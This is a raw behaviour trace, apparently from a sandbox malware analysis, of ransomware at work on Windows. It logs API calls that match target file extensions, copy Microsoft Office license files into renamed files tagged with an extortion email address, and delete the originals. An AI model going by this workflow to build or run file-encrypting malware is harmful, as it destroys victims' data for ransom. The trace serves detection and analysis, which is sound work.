lstrlenW (lpString=".pdf") returned 4 [0192.169] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0192.169] lstrlenW (lpString=".xls") returned 4 [0192.169] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0192.169] lstrlenW (lpString=".xlsx") returned 5 [0192.169] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0192.169] lstrlenW (lpString=".ppt") returned 4 [0192.169] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0192.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0192.169] lstrlenW (lpString=".zip") returned 4 [0192.169] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0192.170] lstrlenW (lpString=".rar") returned 4 [0192.170] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0192.170] lstrlenW (lpString=".bz2") returned 4 [0192.170] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0192.170] lstrlenW (lpString=".7z") returned 3 [0192.170] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0192.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0192.170] lstrlenW (lpString=".dbf") returned 4 [0192.170] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0192.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0192.170] lstrlenW (lpString=".1cd") returned 4 [0192.170] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0192.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0192.170] lstrlenW (lpString=".jpg") returned 4 [0192.170] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0192.171] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=26459) returned 1 [0192.171] CloseHandle (hObject=0x434) returned 1 [0192.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms")) returned 0x220 [0192.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0192.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0192.173] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.173] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0192.175] GetLastError () returned 0x0 [0192.175] ReadFile (in: hFile=0x434, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x675b, lpOverlapped=0x0) returned 1 [0192.179] WriteFile (in: hFile=0x510, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x6760, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x6760, lpOverlapped=0x0) returned 1 [0192.181] ReadFile (in: hFile=0x434, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0192.181] WriteFile (in: hFile=0x510, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x102, lpOverlapped=0x0) returned 1 [0192.181] SetEndOfFile (hFile=0x510) returned 1 [0192.181] CloseHandle (hObject=0x510) returned 1 [0192.182] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.182] SetEndOfFile (hFile=0x434) returned 1 [0192.186] CloseHandle (hObject=0x434) returned 1 [0192.187] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0192.187] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms")) returned 1 [0192.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0192.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0192.189] lstrlenW (lpString=".doc") returned 4 [0192.189] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0192.189] lstrlenW (lpString=".docx") returned 5 [0192.189] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0192.189] lstrlenW (lpString=".pdf") returned 4 [0192.189] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0192.189] lstrlenW (lpString=".xls") returned 4 [0192.189] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0192.189] lstrlenW (lpString=".xlsx") returned 5 [0192.189] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0192.189] lstrlenW (lpString=".ppt") returned 4 [0192.189] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0192.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0192.189] lstrlenW (lpString=".zip") returned 4 [0192.189] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0192.189] lstrlenW (lpString=".rar") returned 4 [0192.189] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0192.190] lstrlenW (lpString=".bz2") returned 4 [0192.190] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0192.190] lstrlenW (lpString=".7z") returned 3 [0192.190] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0192.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0192.190] lstrlenW (lpString=".dbf") returned 4 [0192.190] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0192.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0192.190] lstrlenW (lpString=".1cd") returned 4 [0192.190] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0192.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0192.190] lstrlenW (lpString=".jpg") returned 4 [0192.190] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0192.191] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=11589) returned 1 [0192.191] CloseHandle (hObject=0x434) returned 1 [0192.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms")) returned 0x220 [0192.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0192.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0192.197] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.197] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0192.198] GetLastError () returned 0x0 [0192.198] ReadFile (in: hFile=0x434, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x2d45, lpOverlapped=0x0) returned 1 [0192.201] WriteFile (in: hFile=0x510, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0192.203] ReadFile (in: hFile=0x434, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0192.203] WriteFile (in: hFile=0x510, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x108, lpOverlapped=0x0) returned 1 [0192.204] SetEndOfFile (hFile=0x510) returned 1 [0192.204] CloseHandle (hObject=0x510) returned 1 [0192.204] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.204] SetEndOfFile (hFile=0x434) returned 1 [0192.209] CloseHandle (hObject=0x434) returned 1 [0192.209] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0192.654] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms")) returned 1 [0193.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0193.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0193.260] lstrlenW (lpString=".doc") returned 4 [0193.260] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.260] lstrlenW (lpString=".docx") returned 5 [0193.260] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.260] lstrlenW (lpString=".pdf") returned 4 [0193.260] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.260] lstrlenW (lpString=".xls") returned 4 [0193.260] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.261] lstrlenW (lpString=".xlsx") returned 5 [0193.261] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.261] lstrlenW (lpString=".ppt") returned 4 [0193.261] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0193.261] lstrlenW (lpString=".zip") returned 4 [0193.261] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.261] lstrlenW (lpString=".rar") returned 4 [0193.261] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.261] lstrlenW (lpString=".bz2") returned 4 [0193.261] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.261] lstrlenW (lpString=".7z") returned 3 [0193.261] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0193.261] lstrlenW (lpString=".dbf") returned 4 [0193.261] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0193.261] lstrlenW (lpString=".1cd") returned 4 [0193.261] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0193.261] lstrlenW (lpString=".jpg") returned 4 [0193.261] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0193.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0193.261] lstrlenW (lpString=".doc") returned 4 [0193.261] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.262] lstrlenW (lpString=".docx") returned 5 [0193.262] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.262] lstrlenW (lpString=".pdf") returned 4 [0193.262] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.262] lstrlenW (lpString=".xls") returned 4 [0193.262] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.262] lstrlenW (lpString=".xlsx") returned 5 [0193.262] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.262] lstrlenW (lpString=".ppt") returned 4 [0193.262] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0193.262] lstrlenW (lpString=".zip") returned 4 [0193.262] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.262] lstrlenW (lpString=".rar") returned 4 [0193.262] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.262] lstrlenW (lpString=".bz2") returned 4 [0193.262] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.262] lstrlenW (lpString=".7z") returned 3 [0193.262] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0193.262] lstrlenW (lpString=".dbf") returned 4 [0193.262] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0193.262] lstrlenW (lpString=".1cd") returned 4 [0193.263] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0193.263] lstrlenW (lpString=".jpg") returned 4 [0193.263] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.263] lstrcmpiW (lpString1=".xrm-ms", lpString2=".save") returned 1 [0193.263] lstrlenW (lpString="MondoR_Retail-ppd.xrm-ms") returned 24 [0193.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0193.278] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=26462) returned 1 [0193.279] CloseHandle (hObject=0x540) returned 1 [0193.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms")) returned 0x220 [0193.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0193.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0194.098] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.099] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0194.100] GetLastError () returned 0x0 [0194.100] ReadFile (in: hFile=0x370, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x675e, lpOverlapped=0x0) returned 1 [0194.104] WriteFile (in: hFile=0x444, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x6760, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x6760, lpOverlapped=0x0) returned 1 [0194.106] ReadFile (in: hFile=0x370, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.106] WriteFile (in: hFile=0x444, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x104, lpOverlapped=0x0) returned 1 [0194.106] SetEndOfFile (hFile=0x444) returned 1 [0194.106] CloseHandle (hObject=0x444) returned 1 [0194.106] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.106] SetEndOfFile (hFile=0x370) returned 1 [0194.110] CloseHandle (hObject=0x370) returned 1 [0194.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0194.111] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms")) returned 1 [0194.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0194.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0194.112] lstrlenW (lpString=".doc") returned 4 [0194.112] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0194.113] lstrlenW (lpString=".docx") returned 5 [0194.113] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0194.113] lstrlenW (lpString=".pdf") returned 4 [0194.113] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0194.113] lstrlenW (lpString=".xls") returned 4 [0194.113] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0194.113] lstrlenW (lpString=".xlsx") returned 5 [0194.113] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0194.113] lstrlenW (lpString=".ppt") returned 4 [0194.113] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0194.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0194.113] lstrlenW (lpString=".zip") returned 4 [0194.113] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0194.113] lstrlenW (lpString=".rar") returned 4 [0194.113] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0194.113] lstrlenW (lpString=".bz2") returned 4 [0194.113] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0194.113] lstrlenW (lpString=".7z") returned 3 [0194.113] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0194.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0194.113] lstrlenW (lpString=".dbf") returned 4 [0194.113] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0194.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0194.113] lstrlenW (lpString=".1cd") returned 4 [0194.113] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0194.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0194.113] lstrlenW (lpString=".jpg") returned 4 [0194.113] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0194.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0194.115] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=26525) returned 1 [0194.115] CloseHandle (hObject=0x370) returned 1 [0194.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms")) returned 0x220 [0194.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0194.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0194.116] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.116] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0194.118] GetLastError () returned 0x0 [0194.118] ReadFile (in: hFile=0x370, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x679d, lpOverlapped=0x0) returned 1 [0194.120] WriteFile (in: hFile=0x444, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x67a0, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x67a0, lpOverlapped=0x0) returned 1 [0194.122] ReadFile (in: hFile=0x370, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.122] WriteFile (in: hFile=0x444, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x108, lpOverlapped=0x0) returned 1 [0194.122] SetEndOfFile (hFile=0x444) returned 1 [0194.123] CloseHandle (hObject=0x444) returned 1 [0194.123] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.123] SetEndOfFile (hFile=0x370) returned 1 [0194.127] CloseHandle (hObject=0x370) returned 1 [0194.128] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", 